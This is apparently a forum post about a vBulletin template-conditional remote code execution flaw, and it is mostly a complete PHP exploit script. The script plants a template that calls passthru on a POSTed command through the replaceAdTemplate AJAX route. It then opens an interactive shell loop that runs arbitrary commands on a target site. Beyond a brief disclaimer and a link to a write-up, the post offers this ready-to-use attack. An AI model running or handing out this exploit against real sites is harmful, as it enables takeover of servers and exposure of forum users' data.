14-06-25, 01:11 AM
Certain vBulletin versions might allow attackers to execute arbitrary PHP code by abusing Template Conditionals in the template engine. By crafting template code in an alternative PHP function invocation syntax, such as the "var_dump"("test") syntax, attackers can bypass security checks and execute arbitrary PHP code, as exploited in the wild in May 2025.
Exploit Code:
Exploit Code:
Code:
<?php
/*
-----------------------------------------------------------------
vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability
-----------------------------------------------------------------
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Technical Writeup:
https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
*/
set_time_limit(0);
error_reporting(E_ERROR);
print "\n+---------------------------------------------------------------------+";
print "\n| vBulletin (replaceAdTemplate) Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";
if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");
if ($argc != 2)
{
print "\nUsage......: php $argv[0] <URL>\n";
print "\nExample....: php $argv[0] http://localhost/vb/";
print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
die();
}
$params = [
"routestring" => "ajax/api/ad/replaceAdTemplate",
"styleid" => "1",
"location" => "d4rkf0rum5",
"template" => "<vb:if condition='\"passthru\"(\$_POST[\"cmd\"])'></vb:if>"
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $argv[1]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
if (curl_exec($ch) !== "null") die("\n[-] Exploit failed, unable to create template!\n\n");
$params = ["routestring" => "ajax/render/ad_d4rkf0rum5"];
while (1)
{
print "\nvBulletin-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$params["cmd"] = $cmd;
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
preg_match('/(.+)\{"template":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n");
}